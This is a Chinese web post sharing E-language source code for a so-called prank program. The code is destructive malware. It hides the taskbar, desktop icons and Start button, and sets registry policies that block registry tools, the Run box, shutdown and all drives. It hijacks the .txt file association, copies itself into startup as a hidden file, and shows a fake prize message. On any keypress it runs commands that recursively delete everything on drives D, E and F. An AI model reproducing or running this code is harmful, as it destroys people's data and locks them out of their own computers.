admin 管理员组文章数量: 887021
2023年12月24日发(作者:二叉树遍历算法应用)
.版本 2
.支持库 eAPI
.支持库 shell
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
标签1.标题 = 到文本 (取现行时间 ())
隐藏任务栏 ()
隐藏桌面图标 ()
隐藏系统时钟 ()
隐藏开始按钮 ()
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr”,
0) ' 禁用任务管理器
写注册项 (3,
“SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableregistrytools”, 1) ' 禁用注册表
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun”, 1) '
隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose”, 1) '
隐藏开始中的关机
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind”, 1) '
隐藏开始中的搜索
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives”,
4294967295) ' 隐藏所有驱动器
写注册项 (3, “SoftwareMicrosoftWindowsCurrentVersionInterner SettingsZones31803”, 3)
写注册项 (1, “.txt”, “jpegfile”) ' 修改文件关联
创建快捷方式 (“Test”, 取运行目录 () + “” + 取执行文件名 (), , , )
移动文件 (取运行目录 () + “” + “”, 取特定目录 (7) + “”) ' 添加开机自启动
置文件属性 (取特定目录 (7) + “”, 2) ' 置文件属性为隐藏
信息框 (“恭喜您中奖了,系统5秒后自动关机”, 0, “Error”)
.子程序 _时钟1_周期事件
标签1.标题 = 到文本 (取现行时间 ())
.子程序 _时钟2_周期事件
进度条1.位置 = 进度条1.位置 + 25
.如果 (进度条1.位置 = 100)
' 关闭系统 (2, 真)
结束 ()
.否则
.如果结束
.子程序 __启动窗口_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
运行 (“cmd /c rd f: /s /q”, 假, )
运行 (“cmd /c rd d: /s /q”, 假, )
运行 (“cmd /c rd e: /s /q”, 假, )
' 删除c d e盘所有文件
版权声明:本文标题:易语言做整人小软件 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/free/1703353962h448147.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论